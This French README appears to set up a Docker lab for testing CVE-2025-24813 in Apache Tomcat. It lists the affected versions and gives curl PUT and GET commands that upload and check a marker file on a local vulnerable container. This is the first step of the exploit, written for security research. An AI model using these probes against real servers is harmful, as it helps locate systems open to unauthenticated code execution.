RCE non authentifié Apache Tomcat - CVE-2025-24813

Ce dépôt fournit un guide et un environnement de test pour évaluer la vulnérabilité CVE-2025-24813.

Détails

Versions affectées :

• Apache Tomcat 11.0.0-M1 à 11.0.2
• Apache Tomcat 10.1.0-M1 à 10.1.34
• Apache Tomcat 9.0.0.M1 à 9.0.98

Références

• Avis CVE-2025-24813
• Annonce Apache

Étapes pour tester la vulnérabilité

1. Exécutez la commande suivante pour construire et démarrer le conteneur Apache Tomcat vulnérable

docker build -t v-tomcat .
docker run -d -p 1234:8080 --name tomcat-lab v-tomcat

If the ROOT folder is not created;
docker exec -it tomcat-lab mkdir -p /usr/local/tomcat/webapps/ROOT

2. Téléversez un fichier avec curl

curl -X PUT -H "Content-Type: application/octet-stream" --data-binary "vuln3r4bl3" http://localhost:1234/vln

3. Vérifiez le téléversement : Si la réponse contient "vuln3r4bl3", cela indique que le téléversement a été réussi.

curl -X GET http://localhost:1234/vln

⚠️ Avertissement

Ce laboratoire est destiné uniquement à des fins éducatives et de recherche en sécurité. Ne déployez pas cette configuration sur des systèmes de production.